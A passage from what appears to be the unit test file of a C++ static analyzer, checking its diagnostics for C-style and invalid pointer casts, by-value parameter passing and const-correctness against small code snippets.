conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) 